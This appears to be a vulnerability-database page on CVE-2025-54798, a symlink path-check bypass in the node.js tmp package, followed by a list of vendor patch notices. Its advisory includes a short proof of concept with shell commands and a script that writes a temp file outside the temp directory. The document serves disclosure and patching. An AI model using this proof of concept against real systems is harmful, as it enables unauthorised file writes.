CVE-2025-54798

tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.

Summary

[email protected] is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

• Setup: create a symbolic link inside the tmpDir that points to a directory outside of it

mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

• check the folder is empty:

ls -lha $HOME/mydir1 | grep "tmp-"

• run the poc

node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

• the temporary file is created under $HOME/mydir1 (outside the tmpDir):

ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]

• main.js

// npm i [email protected]

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir':…

Root has patched CVE-2025-54798 in the @rootio/tmp package for Root:npm. Multiple fixed versions available.

tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.

TuxCare rebuilt decompress-zip to address 1 CVE. Fixed in 0.1.0-tuxcare.1.

TuxCare rebuilt git-clone to address 5 CVEs. Fixed in 0.1.0-tuxcare.1.

TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.2.1-tuxcare.1.

TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.1.0-tuxcare.1.

TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.33-tuxcare.1.

TuxCare rebuilt tmp to address 2 CVEs. Fixed in 0.0.30-tuxcare.1.

TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.28-tuxcare.1.

TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.24-tuxcare.1.

TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.2.3-tuxcare.1.

TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.31-tuxcare.1.

TuxCare rebuilt tmp to address 1 CVE. Fixed in 0.0.29-tuxcare.1.

Vulnerable versions of decompress-zip are affected by the Zip-Slip vulnerability, an arbitrary file write vulnerability. The vulnerability occurs because decompress-zip does not verify that extracted files do not resolve to targets outside of the extraction root directory.

Recommendation

For decompress-zip 0.2.x upgrade to 0.2.2 or later. For decompress-zip 0.3.x upgrade to 0.3.2 or later.

These are all security issues fixed in the jupyter-nbdime-7.0.2-23.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the jupyter-bqplot-jupyterlab-0.5.46-13.1 package on the GA media of openSUSE Tumbleweed.